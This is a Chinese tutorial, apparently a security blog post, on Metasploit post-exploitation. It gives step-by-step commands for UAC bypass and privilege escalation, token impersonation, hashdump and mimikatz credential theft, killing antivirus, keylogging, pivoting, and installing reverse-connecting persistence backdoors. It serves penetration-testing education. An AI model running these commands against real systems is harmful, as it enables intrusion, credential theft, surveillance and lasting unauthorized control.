手把手教你如何用MSF进行后渗透测试!
在对目标进行渗透测试的时候,通常情况下,我们首先获得的是一台web服务器的webshell或者反弹shell,如果权限比较低,则需要进行权限提升;后续需要对系统进行全面的分析,搞清楚系统的用途;如果目标处于一个内网环境中,那么我们就需要通过它对内网的其它终端进行信息收集和渗透测试,更全面地挖掘系统中存在的安全隐患。
本期安仔课堂,ISEC实验室的向老师为大家介绍如何使用MSF进行后渗透测试。
一、获取Meterpreter会话
Meterpreter 是msf的一个payload,目标执行之后,我们会得到一个会话,和常见的shell会话类似,但是它的功能更加强大,它是执行后渗透测试的实施通道。
1.直接获取
(1) 使用msfvenom生成payload
常用命令:
图1
(2)本地监听
监听需要用到msf的exploit/multi/handler模块,使用show options查看需要设置的参数。重要的参数有三个:监听使用的payload、本地ip、本地监听端口。这些参数的值跟之前msfvenom使用的参数一样。
图2
(3)获得会话
将生成的exe文件或者其它类型的payload文件在目标上执行,就可以获得一个meterpreter会话,之后就可以使用msf开展后渗透测试的相关工作。
图3
2.cmdshell升级为meterpreter
如果最开始获取的是cmdshell,后来发现这台机器非常适合作为测试其它终端的跳板,这个时候cmdshell的功能已经不能满足需要,升级成meterpreter就十分有必要。
(1)以ms17-010的利用为例,默认使用的payload返回的就是cmdshell
图4
(2)将该cmdshell升级成meterpreter
命令:sessions -u cmdshell的id
图5图6
(3)查看是否升级成功
图7
二、提权
通常webshell的权限都比较低,能够执行的操作有限,没法查看重要文件、修改系统信息、抓取管理员密码和hash、安装特殊程序等,所以我们需要获取系统更高的权限。
1.绕过UAC
用户帐户控制(UAC)是微软在 Windows Vista 以后版本引入的一种安全机制,有助于防止对系统进行未经授权的更改。应用程序和任务可始终在非管理员帐户的安全上下文中运行,除非管理员专门给系统授予管理员级别的访问权限。UAC 可以阻止未经授权的应用程序进行自动安装,并防止无意中更改系统设置。
msf提供了如下几个模块帮助绕过UAC:
图8
以exploit/windows/local/bypassuac_eventvwr为例,其它模块的使用方法基本一致。
(1)首先需要在meterpreter下执行background命令让当前会话保存到后台。
图9
(2)使用sessions命令可以查看所有后台的会话,每个session对应一个id值,后面会经常用到。
图10
(3)使用use exploit/windows/local/bypassuac_eventvwr命令进入该模块,使用show options查看需要设置的参数。
图11
(4)将参数session设置为1,直接运行exploit或者run命令,执行成功之后会返回一个新的meterpreter会话。
图12
(5)使用getuid命令查看当前用户,此时仍然是普通用户,再使用getsystem命令就可以提升到system权限了。
图13
2.利用系统漏洞提权
无论是linux还是windows都出过很多高危的漏洞,我们可以利用它们进行权限提升,比如windows系统的ms13-081、ms15-051、ms16-032、ms17-010等,msf也集成了这些漏洞的利用模块。
(1)使用search 补丁号进行搜索,就可以找到相关模块,以ms13-081为例。
图14
(2)使用use exploit/windows/local/ms13_081_track_popup_menu命令进入该模块,使用show options命令查看需要设置的参数。
图15
(3)使用set session 1命令设置后台的meterpreter会话id,再使用run命令运行,获取的就是SYSTEM权限。
图16
三、进程迁移
当meterpreter单独作为一个进程运行时容易被发现,如果将它和系统经常运行的进程进行绑定,就能够实现持久化。
1.查看当前会话的进程id
命令:getpid
图17
2.查看目标运行的进程
命令:ps
图18
3.绑定进程
命令:migrate pid
图19
四、令牌假冒
在用户登录windows操作系统时,系统都会给用户分配一个令牌(Token),当用户访问系统资源时都会使用这个令牌进行身份验证,功能类似于网站的session或者cookie。
msf提供了一个功能模块可以让我们假冒别人的令牌,实现身份切换,如果目标环境是域环境,刚好域管理员登录过我们已经有权限的终端,那么就可以假冒成域管理员的角色。
1.查看当前用户
图20
2.使用use incognito命令进入该模块
图21
3.查看存在的令牌
命令:list_tokens -u
图22
4.令牌假冒
命令:impersonate_token 用户名
注意用户名的斜杠需要写两个。
图23
5.查看是否成功切换身份
图24
五、获取凭证
在内网环境中,一个管理员可能管理多台服务器,他使用的密码有可能相同或者有规律,如果能够得到密码或者hash,再尝试登录内网其它服务器,可能取得意想不到的效果。
1.使用meterpreter的run hashdump命令。
图25图26
2.使用load mimikatz加载mimikatz模块,再使用help mimikatz查看支持的命令。
图27
3.使用wdigest命令获取登录过的用户储存在内存里的明文密码。
图28
六、操作文件系统
1.文件的基本操作
ls:列出当前路径下的所有文件和文件夹。
pwd 或 getwd:查看当前路径。
search:搜索文件,使用search -h查看帮助。
cat:查看文件内容,比如cat test.txt。
edit:编辑或者创建文件。和Linux系统的vm命令类似,同样适用于目标系统是windows的情况。
rm:删除文件。
cd:切换路径。
mkdir:创建文件夹。
rmdir:删除文件夹。
getlwd 或 lpwd:查看自己系统的当前路径。
lcd:切换自己当前系统的目录。
lls:显示自己当前系统的所有文件和文件夹。
2.文件的上传和下载
(1) upload
格式:upload 本地文件路径 目标文件路径
图29
(2)download
格式:download 目标文件路径 本地文件路径
图30
七、系统其它操作
1.关闭防病毒软件
run killav
run post/windows/manage/killav
2.操作远程桌面
run post/windows/manage/enable_rdp 开启远程桌面
run post/windows/manage/enable_rdp username=test password=test 添加远程桌面的用户(同时也会将该用户添加到管理员组)
3.截屏
screenshot
4.键盘记录
keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能
图31
5.执行程序
execute -h 查看使用方法
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:跟进程进行交互
-m:从内存中执行
-t:使用当前伪造的线程令牌运行进程
-s:在给定会话中执行进程
例:execute -f c:/temp/hello.exe
八、端口转发和内网代理
1.portfwd
portfwd是meterpreter提供的端口转发功能,在meterpreter下使用portfwd -h命令查看该命令的参数。
图32
常用参数:
-l:本地监听端口
-r:内网目标的ip
-p:内网目标的端口
图33
上面命令执行之后,会将10.1.1.3的3389端口转发到本地的2222端口。
图34
2.pivot
pivot是msf最常用的代理,可以让我们使用msf提供的扫描模块对内网进行探测。
(1)首先需要在msf的操作界面下添加一个路由表。
添加命令:route add 内网ip 子网掩码 session的id
打印命令:route print
图35
路由添加成功之后就可以在msf里访问10.1.1.0/24这个网段。
(2)建立socks代理。
如果其它程序需要访问这个内网环境,就可以建立socks代理。
msf提供了3个模块用来做socks代理。
auxiliary/server/socks4a
use auxiliary/server/socks5
use auxiliary/server/socks_unc
以auxiliary/server/socks4a为例,查看需要设置的参数。
图36
一共两个参数:
SRVHOST:监听的ip地址,默认为0.0.0.0,一般不需要更改。
SRVPORT:监听的端口,默认为1080。
直接运行run命令,就可以成功创建一个socks4代理隧道,在linux上可以配置proxychains使用,在windows可以配置Proxifier进行使用。
九、后门
Meterpreter的shell运行在内存中,目标重启就会失效,如果管理员给系统打上补丁,那么就没办法再次使用exploit获取权限,所以需要持久的后门对目标进行控制。
Msf提供了两种后门,一种是metsvc(通过服务启动),一种是persistence(支持多种方式启动)。
1.metsvc
(1) 使用run metsvc -h查看帮助,一共有三个参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-h:查看帮助
-r:删除后门
(2) 安装后门
命令:run metsvc
图37
命令运行成功后会在C:\Windows\TEMP\目录下新建随机名称的文件夹,里面生成3个文件(metsvc.dll、metsvc-server.exe、metsvc.exe)。
图38
同时会新建一个服务,显示名称为Meterpreter,服务名称为metsvc,启动类型为”自动”,绑定在31337端口。
图39
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/metsvc_bind_tcp,设置目标ip和绑定端口31337。
图40
2.persistence
(1) 使用run persistence -h查看参数。
-A:安装后门后,自动启动exploit/multi/handler模块连接后门
-L:自启动脚本的路径,默认为%TEMP%
-P:需要使用的payload,默认为windows/meterpreter/reverse_tcp
-S:作为一个服务在系统启动时运行(需要SYSTEM权限)
-T:要使用的备用可执行模板
-U:用户登陆时运行
-X:系统启动时运行
-i:后门每隔多少秒尝试连接服务端
-p:服务端监听的端口
-r:服务端ip
(2) 生成后门
命令:run persistence -X -i 10 -r 192.168.1.9 -p 4444
图41
(3) 连接后门
使用exploit/multi/handler模块,payload设置为windows/meterpreter/reverse_tcp,同时设置好服务端监听ip和端口。
图42
手把手教你如何用MSF进行后渗透测试!的更多相关文章
- 超实用!手把手教你如何用MSF进行后渗透测试!
在对目标进行渗透测试的时候,通常情况下,我们首先获得的是一台web服务器的webshell或者反弹shell,如果权限比较低,则需要进行权限提升:后续需要对系统进行全面的分析,搞清楚系统的用途:如果目 ...
- 手把手教你 在Pytorch框架上部署和测试 关键点人脸检测项目DBFace,成功实现人脸检测效果
这期教向大家介绍仅仅 1.3M 的轻量级高精度的关键点人脸检测模型DBFace,并手把手教你如何在自己的电脑端进行部署和测试运行,运行时bug解决. 01. 前言 前段时间DBFace人脸检测库横空出 ...
- Metasploit Framework(8)后渗透测试(一)
文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 使用场景: Kali机器IP:192.168.163. ...
- 教你通过Node.js漏洞完成渗透测试
本篇文章较为详细的讲述了通过node.js的已知漏洞来完成渗透测试的过程,介绍了node.js存在的漏洞可以在多种工具下的不同利用方式.因为我认为会对论坛部分web安全新手有所帮助,所以整理到论坛中. ...
- 手把手教你如何用Fiddler抓取手机数据包(iOS+Android)
本文主要教你如何通过 Fiddler 来抓取手机端的数据包,包括 iOS 和 Android 端的配置和抓取. 一.Fiddler下载安装 访问 Fiddler 官网:https://www.tele ...
- 手把手教小白如何用css+js实现页面中图片放大展示效果
1.前言 很多童鞋会在项目中遇到一些上传图片,展示图片的操作,但是图片呢有大有小,为了页面的美观,有时候我们需要将图片展示成固定宽高度,但是呢,领导就会说,我想看大图片,怎么办?想看就看呀, ...
- 手把手教你如何用 OpenCV + Python 实现人脸识别
下午的时候,配好了OpenCV的Python环境,OpenCV的Python环境搭建.于是迫不及待的想体验一下opencv的人脸识别,如下文. 必备知识 Haar-like 通俗的来讲,就是作为人脸特 ...
- 手把手教你如何用eclipse搭建前端开发环境
3.创建静态web工程 打开eclipse,选择file,new project 或者 new other...,选择web项中的static web project ,next. 输入你的项目名,如 ...
- 手把手教你如何用 OpenCV + Python 实现人脸检测
配好了OpenCV的Python环境,OpenCV的Python环境搭建.于是迫不及待的想体验一下opencv的人脸识别,如下文. 必备知识 Haar-like Haar-like百科释义.通俗的来讲 ...
随机推荐
- [SDOI2019]移动金币(博弈论+阶梯Nim+按位DP)
首先可以把问题转化一下:m堆石子,一共石子数不超过(n-m)颗,每次可以将一堆中一些石子推向前一堆,无法操作则失败,问有多少种方法使得先手必胜? 然后这个显然是个阶梯Nim,然后有这样的结论:奇数层异 ...
- [LC] 289. Game of Life
According to the Wikipedia's article: "The Game of Life, also known simply as Life, is a cellul ...
- [LC] 452. Minimum Number of Arrows to Burst Balloons
There are a number of spherical balloons spread in two-dimensional space. For each balloon, provided ...
- Servlet&JSP复习笔记 04
1.状态管理 因为HTTP协议是无状态协议,但很多时候需要将客户端和服务端的多次请求当做一个来对待.将多次交互中设计的数据进行保存. 状态:数据 管理:对数据的维护 2.Cookie 客户端向服务器发 ...
- jsp页面之间传中文参数显示乱码问题的解决
最近在项目中遇到jsp页面通过url传递参数,出现乱码,但是在本地是正常显示,在服务器上却是乱码,找了好久都没找到解决方法,最终在大神的帮助下解决了这个问题 比如从a.jsp像b.jsp页面传递参数 ...
- Excel-DNA自定义函数的参数智能提示功能:ExcelDna.IntelliSense1.1.0.rar
解压缩后,可以看到如下3个文件. ExcelDna.IntelliSense.xll 以及 ExcelDna.IntelliSense64.xll 是两个函数参数智能提示加载项,分别用于32和64位E ...
- Office 365管理中心门户
一.使用Office 365管理员账户登陆到由世纪互联运营的Office 365 登陆地址 https://portal.partner.microsoftonline.cn 1.登陆完成后,选择左上 ...
- Redis实现分布式读写锁(Java基于Lua实现)
https://blog.csdn.net/grandachn/article/details/89032815 https://blog.csdn.net/xingsilong/article/de ...
- spring mvc 页面form提示语
<form:form id="inputForm" modelAttribute="bsRabiesNum" action="${ctx}/nu ...
- 12款优秀的 JavaScript 日历和时间选择控件
这些插件能够帮助 Web 开发人员更快速的实现各种精美的日历和时间选择效果. 1. The Coolest Calendar 界面非常漂亮的一款日期选择插件,有详细的使用文档,最新版本 1.5. 点 ...